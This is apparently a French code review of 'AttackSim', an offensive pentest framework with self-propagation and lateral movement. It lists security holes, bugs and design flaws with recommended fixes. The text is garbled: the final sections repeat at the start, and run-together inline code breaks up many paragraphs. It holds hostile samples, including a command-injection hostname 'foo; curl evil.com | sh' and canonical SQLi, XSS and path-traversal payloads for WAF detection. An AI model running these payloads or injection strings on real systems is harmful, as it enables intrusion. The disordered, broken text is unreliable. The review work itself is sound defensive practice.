Description : parse_hosts accepte ipaddress.ip_network(spec, strict=False) qui en théorie supporte IPv6, MAIS : (1) le regex _NETRANGE_RE ne matche pas la syntaxe IPv6 avec : ; (2) _host_of dans scope_guard.py gère [::1]:443 mais pas un CIDR 2001:db8::/32 en --scope (le parsing tok.split(":",1) casse). Donc en pratique --cidr 2001:db8::/64 échoue au parsing du target.
Recommandation : Étendre _NETRANGE_RE et _host_of pour supporter IPv6 bare et CIDR IPv6 en --scope/--cidr.
5. Vérifications positives (promesses tenues)
| Promesse du README |
Statut |
Vérification |
| 101-CVE offline feed |
✅ VRAI |
data/cve/feed.json contient 101 records structurés |
| 107 registered attack modules |
✅ VRAI |
len(ALL_MODULES) = 107, tous avec run() réel, pas de stub |
| 5 intensity tiers |
✅ VRAI |
fuzz tier est triple-gated et anti-DoS par construction |
| Attack-chain correlation |
✅ VRAI |
attack_chain.py : 20 règles ChainRule, testé dans test_attack_chain.py |
| 360° lateral movement |
✅ VRAI |
relay.py : 3 relais réels (Direct, Docker, Proxy), kubelet/k8s-api/ssh |
| Self-propagation |
✅ VRAI |
7 transports (Docker/kubelet/K8s API/SSH/ADB/aws-ssm/gcp-oslogin/azure-runcommand), auto-cleanup |
| 10+ cloud providers |
✅ VRAI |
OVH/Scaleway/OCI/DO/Hetzner/Linode/Vultr/Alibaba/Nutanix/Confluent, codés pas stubs |
| Multiple output formats |
✅ VRAI |
console, JSON, Markdown, SARIF, HTML |
| CI gate with baseline |
✅ VRAI |
--baseline, --fail-on-new-only, --fail-on (mais défaut trop sensible, cf. I6) |
6. Priorisation des corrections
Immédiat (CRITICAL/HIGH sécurité)
- V1 — Valider le code LLM avant exécution (
compile() + AST + resource.setrlimit dans triage)
- V2 — Supprimer la livraison DATA dans
smtp_antispam ou reclasser en proof tier
- V3 — Validation AST (pas regex) du code LLM dans
exploit_generator
- V4 —
shlex.quote sur hostname/url dans relay.resolve/http_probe
- V5 — Ajouter une couche de redaction des secrets dans
reporter.py
- V6 — Allow-list des clés
SECTEST_* propagables
- BUG-1 — Corriger
_parse_host_port pour gérer les URLs (urlparse)
Court terme (cohérence métier)
- I1 — Sérialiser le
ScopeGuard dans la propagation + borne --scope <subnet> obligatoire
- I2 — Renommer
--keep-credentials en --dangerously-keep-credentials + tracé dans le rapport
- I3 — Ajouter un bloc
cleanup_commands au rapport pour tous les artefacts proof
- M2 — Module
waf-detect (detective) + tag waf-blocked sur les findings
- BUG-2 — Fusionner le doublon
DNS_TIMEOUT
- BUG-3 —
_check_pkexec_pwnkit utiliser _is_suid
Moyen terme (qualité/robustesse)
- M1 —
RequestBudget(per_host=True)
- I6 — Défaut
--fail-on MEDIUM pour cibles live
- M3 — Retry/backoff dans
netutil.py
- M4 — Support IPv6 réel dans
--cidr et --scope
- V9 —
scope_guard.authorize() exiger scope auto-dérivée non vide à intrusive+
- BUG-7 —
start_new_session=True sur les subprocess tués au timeout
- BUG-16 — Failer le run si l'artefact JSON principal ne s'écrit pas
AttackSim — Revue de projet : bugs, vulnérabilités, features manquantes et illogismes métier
Le projet est globalement solide : 107 modules réels (pas des stubs), 101 CVE dans le feed offline, propagation multi-transport fonctionnelle, 10 providers cloud codés, 5 tiers d'intensité implémentés, corrélation de kill-chains réelle. Les points ci-dessous sont des axes d'amélioration ciblés.
Table des matières
1. Vulnérabilités (sécurité du framework)
Vulnérabilités du framework lui-même en tant qu'outil (pas les vulnérabilités qu'il détecte).
CRITICAL
V1 — Exécution de scripts LLM-générés sans validation
triage.py:617-676Description :
_run_script_operatorexécute le script complété par le LLM (_llm_complete_poc) puis édité par l'opérateur viasubprocess.Popen([sys.executable, "-S", tmp_path])sans aucune validation du code (pas d'appel à_validate_script, pas deresource.setrlimit, pas de chroot). Le flag-Sne supprime quesite-packages; l'env restreint ne bloque nios.system, nisocket, nisubprocessinternes. Un LLM compromis/jailbreaké ou un prompt injecté peut produire un script destructeur (rmtree, reverse shell, exfiltration) exécuté avec les privilèges de l'opérateur.Code concerné :
Recommandation : Appeler
exploit_generator._validate_script(script)avant exécution ; appliquer les mêmesresource.setrlimit(NPROC=0, FSIZE=0, AS=256MB) que_run_script_sandboxed; refuser l'exécution si le script échoue à la validation. Idéalement, exécuter dans un namespace/cgroup dédié.V2 —
smtp-antispamlivre réellement des e-mails malgré son contrat de sécuritéexploits/smtp_antispam.py:530-577(bloc intrusive) vsexploits/smtp_antispam.py:34(docstring) etdocs/safety.mdDescription : La docstring du module et
docs/safety.mdaffirment : « No email is ever delivered. All tests stop atRCPT TOor issueRSET/QUITbeforeDATA. » Le bloc intrusive (lignes 530-577) fait l'inverse : après détection open-relay/spoof au niveau active, il ouvre une 2e connexion, envoieMAIL FROM:<ceo@target>,RCPT TO:<sectest-probe@sectest.local>,DATA, puis un message complet (Subject: sectest-antispam-probe\r\nFrom: ceo@target\r\n\r\nAuthorized security assessment.\r\n.\r\n) et ne lève un finding CRITICAL que si le serveur répond2xx— c'est-à-dire si l'e-mail a effectivement été accepté pour livraison. Sur un vrai MTA, ce message est délivré/queueé, pas seulement accepté à l'enveloppe.Impact :
From: ceo@<cible>) à un destinataire externe sur une cible de production — exactement le geste que le produit prétend interdire.--intensity intrusive(après--yes), mais la hiérarchie d'intensité ne code pas réellement la dangerousosité ici.Recommandation :
RCPT TO+RSET(cohérent avec la docstring) ;proof(opt-in--prove-access), renommer en--prove-email-relay, exiger un destinataire opérateur-controlled (canary mailbox), et corriger la docstring +docs/safety.md.HIGH
V3 —
generate_llm_poc: code LLM retourné sans validation syntaxique ni contrôle d'importsexploits/exploit_generator.py:930-1009Description :
generate_llm_pocretourne le script brut après seulement retrait du fencing markdown. Aucune vérification de syntaxe (compile()), aucun contrôle d'imports réels. La validation regex_validate_scriptn'est appliquée qu'en aval dansexecute_plans(ligne 1240) — or_llm_complete_poc(triage.py:801) appellegenerate_llm_pocpuis route le résultat vers_run_script_operatorqui ne valide pas (cf. V1). Le chemin interactif contourne donc toute garde.Code concerné :
_validate_scriptest une regex sur le texte source, trivialement contournable :getattr(os, "system")(...),__builtins__["eval"],import importlib; importlib.import_module("subprocess"), encodage en\x-escapes, chaînes par concaténation. Les patterns ne couvrent nictypes, nisocket(exfiltration), niurllib(SSRF du scanner), nipickle.loads.Recommandation :
compile(script, "<llm>", "exec")+ast.walkpour interdireImporthors stdlib ; interdireCallversos.system/subprocess*/eval/exec/compile/__import__y compris viagetattr/__builtins__. Valider systématiquement avant tout retour/utilisation.V4 — Injection de commande shell dans les relais (kubelet/k8s-api/ssh)
sandbox/relay.py:465, 477, 566, 578, 828Description :
sweep()utilise_safe_targets(correct), maisresolve(hostname)ethttp_probe(url)interpolent directementhostname/urldans une commande shell passée à_exec_cmdsans sanitization. Un hostname malveillant (ex:foo; curl evil.com | sh) ou une URL contenant des méta-caractères shell (;,`,$()) permet l'exécution de commandes arbitraires sur le foothold (kubelet/k8s-api/ssh).http_probepasse même l'URL entre simples quotes ('{url}') — insuffisant si l'URL contient'.Code concerné :
Recommandation : Appliquer
_HOST_REàhostnamedansresolve; validerurlviaurlparse+ rejeter tout caractère hors[A-Za-z0-9._:/?&=%-]; utilisershlex.quotepour toute interpolation shell.V5 — Fuite de secrets dans les rapports (evidence/detail/location non masqués)
report/reporter.py(tout le module — lignes 67, 105, 166, 219, 295, 504)Description : Aucune fonction
mask/redactn'existe dansreport/. Les champsevidence,detail,locationsont écrits en clair dans tous les formats : console, JSON (viato_dict), SARIF, HTML, Markdown, chaînes d'attaque. Un module qui capture un mot de passe opérateur, un token JWT, ou un secret application (ex:secret_scannerqui récolte des creds Kafka/Okta) le fait fuiter intégralement dans l'artefact de rapport, qui peut être archivé, commité ou partagé.Code concerné :
Recommandation : Ajouter une couche de redaction appliquée à
evidence/detail/locationavant sérialisation : regex pour tokens AWS (AKIA[0-9A-Z]{16}), JWT (eyJ...), clés privées PEM, mots de passe dans URLs (user:pass@), etc. Marquer les findings desecret_scannercommeredacted=true.V6 —
export_for_propagationsérialise tous lesSECTEST_*y compris les secretsconfig.py:976-983Description : La fonction exporte toutes les variables d'environnement préfixées
SECTEST_sans filtrage. Si l'opérateur (ou un CI) définitSECTEST_NVD_API_KEY,SECTEST_SLACK_WEBHOOK,SECTEST_GITHUB_TOKEN, etc., ces secrets sont sérialisés en clair dans le dict propagé vers les footholds distants (viaimport_from_propagation), puis potentiellement journalisés ou déposés sur des machines compromises lors d'un pivot.Code concerné :
Recommandation : Maintenir une allow-list explicite des clés propagables (ex:
NVD_MIRROR,TIMEOUT_*) ; rejeter toute clé contenantKEY/TOKEN/SECRET/PASSWORD/WEBHOOK; hasher ou omettre les valeurs sensibles.MEDIUM
V7 —
--keep-credentialsdésactive le guard sans traçabilité dans le rapportmain.py:281-294Description : Quand
--keep-credentialsest passé, le guard est désactivé et seul un message stderr est imprimé. Aucune trace n'est inscrite dans le rapport JSON/SARIF/HTML/Markdown. Un run effectué avec credentials ambiants (AWS_PROFILE, KUBECONFIG) produit des résultats non reproductibles et potentiellement basés sur des creds, sans que l'artefact final l'atteste. En audit, cela rend impossible la distinction entre un run "credential-free" et un run "credentialed".Recommandation : Injecter un champ
credential_guard: "disabled"dans le payload JSON et une bannière dans le rapport HTML/Markdown ; faire échouer legate()ou émettre un avertissement explicite.V8 —
credential_guard.self_test()incompletsandbox/credential_guard.py:105-112Description :
self_test()ne contrôle que les env vars résiduelles. Il ne vérifie pas queAWS_CONFIG_FILE/KUBECONFIG/DOCKER_CONFIGpointent bien vers/dev/null(un module aurait pu les réécrire entrescrub()etself_test()), ni queAWS_EC2_METADATA_DISABLED=truetient toujours. De plus, la liste_CRED_PREFIXESometGOOGLE_APPLICATION_CREDENTIALS,AZURE_*,ARM_*,PGPASSWORD,MYSQL_PWD,LDAPRC.Recommandation : Vérifier explicitement que
os.environ["AWS_CONFIG_FILE"] == os.devnull(et idem pour les autres_REDIRECT_VARS) ; ajouter les préfixes manquants.V9 —
scope_guard.authorize()autorise tout hors-scope à intrusive+ sans allow-listsandbox/scope_guard.py:318-343Description : Au tier
intrusive(et au-dessus), si la scope allow-list est vide,authorize()retourne(True, "intrusive+ confirmed; scope = target-derived"). Le "scope" est alors purement conceptuel (la cible déclarée), mais aucun contrôle runtime ne restreint les hôtes effectivement contactés par un module. Un moduleintrusivepeut scanner ou deviner des identifiants sur n'importe quel hôte/IP atteignable, tant que l'opérateur a confirmé globalement via--yes. La confirmation initiale ne vaut que pour la cible nominale ; il n'y a pas de garde-fou par appel réseau.Code concerné :
Recommandation : Exiger au minimum que l'hôte cible du run soit ajouté automatiquement à la scope (scope auto-dérivée non vide) ; pour tout hôte différent de la cible, exiger une entrée explicite dans l'allow-list ou un prompt interactif par nouvelle destination.
2. Bugs & fiabilité
Tests : 716 passent, 2 échouent (confirmé par exécution).
HIGH
BUG-1 —
_parse_host_portcasse sur les URLstriage.py:524-535Description : Pour
location="http://victim.com:8080/x",rsplit(":",1)→["http://victim.com", "8080/x"]→int("8080/x")→ ValueError → fallback(location, 80)→ le re-verify attaquehttp://victim.com:8080/x:80(n'importe quoi). Cas très fréquent : les findings HTTP/Elasticsearch/etc. ont une URL en location.Code concerné :
Correction suggérée :
BUG-2 —
DNS_TIMEOUTdéfini deux fois (code mort trompeur)config.py:379etconfig.py:509Description :
La seconde définition écrase la première. La première est une constante simple (valeur 4), la seconde est
_env()-aware (override env var, valeur 5). Conséquence :SECTEST_DNS_TIMEOUT=12fonctionne (la 2e définition lit l'env).Correction suggérée : Supprimer la ligne 379 (ou fusionner :
DNS_TIMEOUT = _env("DNS_TIMEOUT", 4)une seule fois, et réutiliser).MEDIUM
BUG-3 —
_check_pkexec_pwnkitignore le mock_is_suid(test en échec)exploits/privesc_exploit.py:458-461+tests/test_onsite_modules.py:1069-1078Description : Le test monkeypatch
privesc_exploit._is_suidpour forcerTrue, mais_check_pkexec_pwnkitn'appelle pas_is_suid— elle fait directementos.stat(pkexec).st_mode & _stat.S_ISUID. Sur l'hôte de test,pkexecexiste mais n'est pas SUID (ou n'existe pas), donc la fonction retourne[]et le test échoue.Code concerné :
Correction suggérée : Remplacer par
if not _is_suid(pkexec): return findingspour réutiliser le helper mockable (cohérence avec les autres checks du module).BUG-4 —
test_unauth_probe_skip_when_unreachableéchoue si un Redis local tourne (test en échec)tests/test_infra_modules.py:88-93Description : Le test crée une cible
host=127.0.0.1, port=1avect.ports=[6379]et suppose que rien ne répondra. Maisunauth_service_probe.runitère surtarget.ports([6379]), pas surtarget.port(1). Or la machine de test a un Redis réel qui écoute sur 127.0.0.1:6379. Le module trouve donc un Redis non authentifié et renvoieexploited=True.Correction suggérée : Utiliser un port non-standard guaranteed-free (ex.
t.ports=[16379]avec un handler absent) ou mockernetutil.tcp_send_recv/_probe.BUG-5 —
_post_exploit_hookavale toute exception silencieusementmain.py:838-841Description :
except Exception: pass— toute erreur derecord_foothold(bug, exception réseau, KeyError) est masquée. Aucun log, aucun retour. Si le hook plante systématiquement, aucun pivot n'est jamais enregistré et l'opérateur ne le sait pas.Correction suggérée :
except Exception as exc: print(f"[!] post-exploit hook failed for {getattr(result,'name','?')}: {exc!r}", file=sys.stderr).BUG-6 —
resume.mark()thread-safe mais perte de résultat sur timeout + thread zombiemain.py:866-877Description : Dans le path ThreadPoolExecutor, sur
TimeoutError,results[i] = Noneet le module continue de tourner en arrière-plan dans le thread pool. Lewithblock attend la fin de tous les futures à la sortie (shutdown implicite), donc le run peut bloquer jusqu'à la fin d'un module "zombi" bien au-delà du timeout de 600s. LeThreadPoolExecutorne peut pas tuer un thread Python.Correction suggérée : Annuler explicitement les futures restants (
for f in futmap: f.cancel()) et/ou documenter que les modules doivent honorer les timeouts.BUG-7 —
_run_script_operator:proc.kill()ne tue pas les enfants subprocesstriage.py:655-658Description :
subprocess.Popen([sys.executable, "-S", tmp_path], ...)sansstart_new_session=True. Sur timeout,proc.kill()tue le process Python mais pas ses éventuels children (subprocess du PoC). Des zombies / ProcessGroup non nettoyés.Correction suggérée :
Popen(..., start_new_session=True)+os.killpg(os.getpgid(proc.pid), signal.SIGKILL)sur timeout.BUG-8 —
resolve():--email+--username/--passwordignore l'emailtargets/model.py:435-476Description : L'ordre de résolution est : local > cidr > repo > has_basic (username/password) > url > has_token > email > host_port. Si l'opérateur passe
--email foo@x.com --username admin --password x, l'email est ignoré carhas_basicest vrai → retourne un target CREDS sans SMTP. La doc prétend que--emailest résolu en target SMTP.Correction suggérée : Déplacer le check
emailavanthas_basic, ou combiner (CREDS contre l'URL SMTP).BUG-9 —
_make_email_target: MX lookup buggé (ne résout jamais MX)targets/model.py:392-397Description :
socket.getaddrinfone fait pas de MX lookup (c'est une résolution A/AAAA). Le commentaire "MX resolution happens at connect" est faux : à connect,socket.create_connection((domain, 25))résout le A record, pas le MX. Donc pour un domaine dont le MX ≠ A record (très commun), le probe SMTP atteint le mauvais host.Scénario :
--email victim@gmail.com→ probegmail.com:25(qui refuse) au lieu degmail-smtp-in.l.google.com:25.Correction suggérée : Utiliser un vrai MX lookup via
dns.resolver(dépendance) ou un query DNS manuel, ou documenter que seul le A record est utilisé.BUG-10 —
_cve_id_from_finding:re.matchau lieu dere.searchtriage.py:385Description :
re.match(r"(CVE-\d{4}-\d+)", str(ref))—matchancre au début. Si une ref est"https://nvd.nist.gov/vuln/detail/CVE-2021-44228",matchéchoue (commence parhttps). Le CVE n'est pas détecté alors qu'il est présent.Correction suggérée :
re.searchau lieu dere.match.BUG-11 —
--scope-fileillisible → scope vide silencieusement → scan sans restrictionsandbox/scope_guard.py:357-368Description : Si le
--scope-filen'existe pas ou est illisible,load_scope_fileretourne[]silencieusement.from_specs([], intensity=intrusive)→ guard empty →authorizeretourneTruepour tout. Un fichier de scope mal saisi désactive silencieusement le scope narrowing.Scénario :
--scope-file /typo/path→ scope vide → scan intrusive sur tout le target-derived scope sans warning.Correction suggérée : Logger l'erreur et/ou lever si le fichier est introuvable quand
--scope-fileest explicite.BUG-12 —
--only=typo,http-probeignoretyposans warningexploits/registry.py:159-161Description :
by_names(wanted, pool)retourne[m for m in pool if name_of(m) in names]. Si--only=foo,bar,bazmaisfoon'existe pas,selectedcontient justebar,bazsans warning. L'opérateur croit quefooa tourné. Seul le cas "aucun match" est géré (main.py:580).Correction suggérée : Comparer
wantedvs{name_of(m) for m in selected}et logger les manquants.BUG-13 —
_parse_host_portsur IPv6 bare (sans[]) → host tronquétriage.py:524-535Description :
location = "2001:db8::1:6379"→rsplit(":",1)→["2001:db8::1", "6379"]→ host ="2001:db8::1"(tronqué). IPv6 sans[]est mal interprété.Correction suggérée : Même fix que BUG-1 + check
ipaddress.ip_address.BUG-14 —
scope_guard._host_matches: DNS resolution dans le scope check (side-effect réseau)sandbox/scope_guard.py:271-283Description : Si un hostname ne matche pas les
hosts/domainsmais qu'il y a des_networks(CIDR), le code faitsocket.gethostbyname(host)→ requête DNS réseau synchronisée dans le scope check. Cela :Correction suggérée : Rendre la résolution DNS optionnelle (flag) ou cacher avec TTL.
BUG-15 —
_expand_subnet_spec: le sweep de subnet ignore le budget globalmain.py:1066Description : Le sweep de subnet fait N TCP connects par host mais n'appelle pas
target.budget.acquire()pour chaque probe. Le budget globalGLOBAL_MAX_REQUESTSest contourné pour la découverte de subnet.Correction suggérée : Passer le budget au relay ou incrémenter un compteur partagé.
BUG-16 —
_run: échec d'écriture de l'artefact JSON ne change pas l'exit codemain.py:1873-1886Description : L'écriture des artefacts (JSON/Markdown/SARIF/HTML) est dans un
try/except Exceptionqui logge[!] failed to write artifactmais ne change pas exit_code. Si l'artefact JSON (le principal) échoue, le run retourne 0 (succès) alors que le rapport n'existe pas. Pour un outil CI, c'est un faux succès.Correction suggérée : Si
args.json(default non-None) échoue, forcerexit_code = max(exit_code, 2).BUG-17 —
config.runtime_getignore la coercition de type des env varsconfig.py:966-973Description :
runtime_get("HTTP_TIMEOUT")retourne la string brute deSECTEST_HTTP_TIMEOUT(ex."12") au lieu d'un int, contrairement à_env()qui coerce. Un module qui faitconfig.runtime_get("HTTP_TIMEOUT", 8)et l'utilise comme int (time.sleep(x)) lèveTypeError.Correction suggérée : Faire
runtime_getappeler_envpour coercition, ou typer l'overlay à l'écriture.BUG-18 —
config.import_from_propagationécrase sans validationconfig.py:986-989Description :
import_from_propagation(data)fait_RUNTIME_OVERLAY[k] = vpour toutk,vsans validation. Un parent malveillant/compromis peut injecter{"GLOBAL_MAX_REQUESTS": 999999999}→ le scanner propagé ignore ses budgets. Contradiction avec le modèle "propagated instance inherits governance".Correction suggérée : Allowlist des clés overridables, ou refuser les clés de budget/scope.
LOW
main.py:866-877_run_modulestimeout →results[i]=Nonefiltré sans trace qu'un module a timeout.sandbox/oob_listener.py:82-86OOBListener.stop()ne join pas le thread ni ne reset_thread=None→ double stop = crash.main.py:353,554,600,904,1037,1111,1307__import__("config")au lieu d'import propre (masque erreurs statiques, lent).triage.py:2292vsreport/reporter.py:357_fingerprinttriage ≠_fingerprint_findingreporter → décisions non corrélables avec baseline.targets/model.py:643-649resolve_from_dict:int(port)peut leverValueErrornon catché si port non-numérique dans le JSON.main.py:624-632_load_targets_file(legacy) forwardargs.jwt/api_keyà chaque host:port — probablement pas voulu.sandbox/oob_listener.py:123parse_listen_spec:int(port or 0)lève si port non-numérique (--oob-listen host:abc).report/reporter.py:197_finding_idSARIF :cwe.replace("CWE-","")sur cwe vide →"0"→ helpUri invalide.exploits/registry.py:143main.py:744_confirm_scanpathguard.requires_confirmationappelleinput()sans guardEOFError(contrairement à_confirm_propagate).main.py:1577_infer_services_from_findings:svc["inferred"] = "true"(string) vs bool attendu.main.py:998_push_url_hostport_companion: flag_url_companion_pushedposé avant le check de scope.3. Illogismes métier & écarts docs-code
I1 —
--propagatedéploie le scanner sans appliquer le scope aux sous-réseaux découvertssandbox/scope_guard.py:318-343,main.py:1272-1349(_build_propagation_args)Description : Le scope_guard v2 est "target-derived" : avec un allow-list vide à
intrusive+, tout est autorisé car "confirmation obtenue via--yes".--propagate-scriptdéploie le scanner dans un foothold et lui fait scanner le/24du foothold (--host-subnet <derived /24>). L'instance propagée hérite duscope_guarddu parent (même allow-list, probablement vide) — donc le scanner déployé dans un container d'un réseau interne 10.0.5.0/24 va scanner toute la /24 sans aucun scope check, parce queauthorize()à allow-list vide retourneTrue. De plus, le--scopetransmis au propagé estscope_guard.specs(ligne 1291) — maisScopeGuardn'expose pas de.specs(c'est.hosts/.cidrs/.domains), donc l'héritage de scope échoue silencieusement.Impact : Un opérateur qui cible
10.0.0.5avec scope10.0.0.0/24, obtient un foothold, propage → le scan interne du foothold peut atteindre10.0.99.0/24(production voisine) sans autorisation. La promesse "every peer is scope-checked" est vraie pour le scanner parent, fausse pour l'instance propagée.Recommandation :
ScopeGuard.specsretournant la liste des tokens d'origine, ou sérialiser le guard dans le payload propagé._build_propagation_args, toujours injecter--scope <foothold_subnet>(le/24dérivé) comme borne minimale./24du foothold.I2 —
--keep-credentialscontredit la promesse "No credentials"main.py:217-220,main.py:281-294Description : Le README et
docs/safety.mdposent « No credentials » comme propriété fondamentale. Pourtant--keep-credentialsdésactive purement et simplementcredential_guard.scrub()sans aucune contre-mesure : aucun audit, aucune journalisation dans le rapport, aucun self-test. L'opérateur peut lancer--keep-credentials --url ...et le scanner tourne en utilisant silencieusement~/.aws/credentials,KUBECONFIG,ARGOCD_AUTH_TOKEN. Le message[*] credential guard DISABLEDest imprimé sur stderr mais n'apparaît pas dans le rapport JSON/Markdown/HTML/SARIF.Le guard devient opt-out au lieu d'opt-in — inversion du modèle de sécurité. Pour un usage red-team sur un foothold compromis,
--keep-credentialsest légitime, mais c'est exactement ce que--use-discovered-cloud-credscouvre déjà proprement (le guard reste actif, l'inventaire est in-memory) —--keep-credentialsest donc un doublon dangereux.Recommandation :
--dangerously-keep-credentials(naming cohérent avec--allow-remote-llm) et exiger--yespour le valider.--keep-credentialset étendre--use-discovered-cloud-credspour couvrir le cas légitime.I3 — Proof-of-access crée des artefacts persistants sur production en cas d'erreur opérateur
exploits/access_prover.py:19-22, 286-302, 329-346, 357-375Description : La persistance est intentionnelle et documentée. Le problème métier : si l'opérateur se trompe de cible (typo d'IP, mauvais
--host-port, staging ≠ prod), le scanner laisse sur la production : une clé Redis permanente, un index ESsectest-canary, une clé Memcached non-expirante, un fichier/tmp/sectest_proof_*.txtsur le host via bind-mount Docker, un ConfigMap K8ssectest-proof-*, voire un container DockerAutoRemove=Falseavec shell idle (PROVE_SHELL_TTL=3600). Aucun mécanisme de cleanup automatique n'existe (par design), et il n'y a pas de ledger de cleanup dans le rapport (leproof_ledgerenregistre quoi a été créé, mais ne génère pas les commandes de suppression inverses pour chaque artefact — seul le proof cloud AWS/GCP/Azure inclut une commande de delete).Recommandation :
cleanup_commandspar artefact (ex.redis-cli DEL <key>,curl -XDELETE http://es:9200/sectest-canary,docker rm -f <cid>) — pas seulement pour le cloud.--prove-access-ttlqui pose un TTL (ex. 1h) sur Redis/Memcached/ES/marker, avec opt-out--no-ttlpour le cas blue-team-verify.--prove-accesssi la cible ne match pas un pattern opérateur-controlled, ou au minimum logger un warning bruyant quand le target n'a pas de--scopeexplicite.I4 —
SMTP_BOMB_TEST_COUNT=10envoie 10 enveloppes en tieractive(sans--yes)exploits/smtp_antispam.py:66, 155-211(_test_rate_limit)Description : 10
MAIL FROM+RCPT TO+RSETsur un MTA de prod : (1) déclenche potentiellement des alertes SIEM, (2) peut mettre l'IP du scanner sur une greylist pendant des heures. C'estactive(pasintrusive) donc ça tourne sans--yespar défaut. L'opérateur croit faire un scan "actif mais bénin" et déclenche un incident mail-op.Recommandation : Reclasser
_test_rate_limitenintrusive(multi-request guessing = définition même du tier). Garder_test_spoof_filter/_test_backscatterenactive(1 enveloppe = OK).I5 — Modules on-site/physical dépendent de binaires système non documentés
exploits/wifi_probe.py,bluetooth_probe.py,android_probe.py,ios_probe.py,router_probe.py,device_posture.pyDescription : Le README annonce ces modules. Ils existent et ne sont pas des stubs, mais dépendent de binaires système rarement présents :
nmcli/iwlist/iw/iwconfig(WiFi),bluetoothctl/hcitool/l2ping(BT),adb(Android),ideviceinfo/idevice_id/pymobiledevice3(iOS). Sur un serveur Linux de CI/pentest standard, tous ces modules retournenttool_available=False. Le README ne mentionne pas cette dépendance runtime — un utilisateur qui lance--localsur un container sans nmcli obtient un INFO "tool not found" et croit que le module est cassé.Recommandation : Ajouter à
docs/local-introspection.mdune matrice « module → binaire requis → cas d'usage ». Documenter que sur un container CI ces modules sont no-ops.I6 — Exit code 1 par défaut sur "any module wins" trop sensible pour CI
main.py:1859,docs/output-and-ci.mdDescription : Par défaut (sans
--fail-on), n'importe quel moduleexploited=True(y compris un INFO/MEDIUM depath-probequi a trouvé un.git) fait sortir1. En CI, un scan sur un repo où un fichier.gitignoreexiste fait échouer le pipeline.--fail-onatténue, mais le défaut est trop sensible pour un usage CI réel.Recommandation : Changer le défaut de
--fail-onàMEDIUM(ouHIGH) pour les ciblesurl/hostport; garder "any" pourrepo(sensé). Documenter ce défaut dansdocs/output-and-ci.md.4. Features manquantes
M1 — Pas de rate-limiting par hôte cible (uniquement global)
sandbox/budget.py—RequestBudgetarate_limitglobal +max_requests+wall_budget, mais aucune clé par host.Description : Sur un
--cidr 10.0.0.0/24(256 hôtes), le budget global (50 req/s par défaut) est réparti entre tous les modules concurrents sur tous les hôtes → un seul host populaire (ex. 10.0.0.5 avec 20 ports ouverts + HTTP) peut consommer tout le budget pendant que les 255 autres sont à peine touchés. Pour un pentest réel on veut 50 req/s par hôte avec un plafond global de 200. Les outils pro (nmap--rate, nuclei-rl, ffuf-rate) ont un rate par hôte.Recommandation : Ajouter
RequestBudget(rate_limit=..., per_host=True); dans_fanout_hostport/_run_modulescréer un budget par host passé au target. Garder le global comme plafond.M2 — Pas de détection de WAF/IPS pendant le scan actif
exploits/waf_firewall_proof.py(preuve d'écriture, pas détection) ; aucun module ne détecte Cloudflare/Akamai/Imperva/F5 ASM/AWS WAF en mode défense pendant un scan.Description :
default-creds/content-discovery/fuzz-probe/sqli-confirmenvoient leurs requêtes, reçoivent des 403/429 en masse, et le scanner rapporte "MITIGATED" ou fait du bruit sans réaliser que c'est un WAF qui bloque (pas l'app). L'opérateur lit un rapport trompeur ("tout est mitigated" alors que c'est le WAF qui parle).Recommandation : Ajouter un module
waf-detect(detective) : envoie 3 payloads malicieux canoniques (' OR 1=1--,<script>alert(1)</script>,../../../etc/passwd) sur un paramètre inoffensif, compare les headers de réponse (Server,CF-Ray,X-Akamai-,X-Sucuri,Set-Cookie incap_sesi, page 403 custom) à un baseline de GET normal. Si WAF détecté : tagguer les findings des modules actifs avecwaf-blockedet baisser leur confiance. Ajouter un champwaf_presenceau rapport.M3 — Pas de retry/backoff sur connexions échouées
exploits/netutil.py— aucune logique de retry/backoff.Description : Une connexion TCP en timeout ou un 502 transient → le module retourne
error=...et le finding est perdu. Sur un scan de 256 hôtes, 5-10% des checks échouent sur du transient réseau sans retry. Pas de cohérence avec leRetry-AfterHTTP non plus.Recommandation : Wrapper
http_get/http_request/tcp_send_recvavec retry exponentiel (3 attempts, 0.5s/1s/2s) surConnectionResetError,timeout, 502/503/504. HonorerRetry-Aftersi présent. ConfigNETUTIL_MAX_RETRIES=3.M4 — Pas de support IPv6 réel dans les scans de netrange
targets/model.py:277-319(parse_hosts),sandbox/scope_guard.py(_host_of)Description :
parse_hostsaccepteipaddress.ip_network(spec, strict=False)qui en théorie supporte IPv6, MAIS : (1) le regex_NETRANGE_REne matche pas la syntaxe IPv6 avec:; (2)_host_ofdansscope_guard.pygère[::1]:443mais pas un CIDR2001:db8::/32en--scope(le parsingtok.split(":",1)casse). Donc en pratique--cidr 2001:db8::/64échoue au parsing du target.Recommandation : Étendre
_NETRANGE_REet_host_ofpour supporter IPv6 bare et CIDR IPv6 en--scope/--cidr.5. Vérifications positives (promesses tenues)
data/cve/feed.jsoncontient 101 records structuréslen(ALL_MODULES)= 107, tous avecrun()réel, pas de stubattack_chain.py: 20 règlesChainRule, testé danstest_attack_chain.pyrelay.py: 3 relais réels (Direct, Docker, Proxy), kubelet/k8s-api/ssh--baseline,--fail-on-new-only,--fail-on(mais défaut trop sensible, cf. I6)6. Priorisation des corrections
Immédiat (CRITICAL/HIGH sécurité)
compile()+ AST +resource.setrlimitdans triage)smtp_antispamou reclasser enprooftierexploit_generatorshlex.quotesur hostname/url dansrelay.resolve/http_probereporter.pySECTEST_*propagables_parse_host_portpour gérer les URLs (urlparse)Court terme (cohérence métier)
ScopeGuarddans la propagation + borne--scope <subnet>obligatoire--keep-credentialsen--dangerously-keep-credentials+ tracé dans le rapportcleanup_commandsau rapport pour tous les artefacts proofwaf-detect(detective) + tagwaf-blockedsur les findingsDNS_TIMEOUT_check_pkexec_pwnkitutiliser_is_suidMoyen terme (qualité/robustesse)
RequestBudget(per_host=True)--fail-on MEDIUMpour cibles livenetutil.py--cidret--scopescope_guard.authorize()exiger scope auto-dérivée non vide à intrusive+start_new_session=Truesur lessubprocesstués au timeout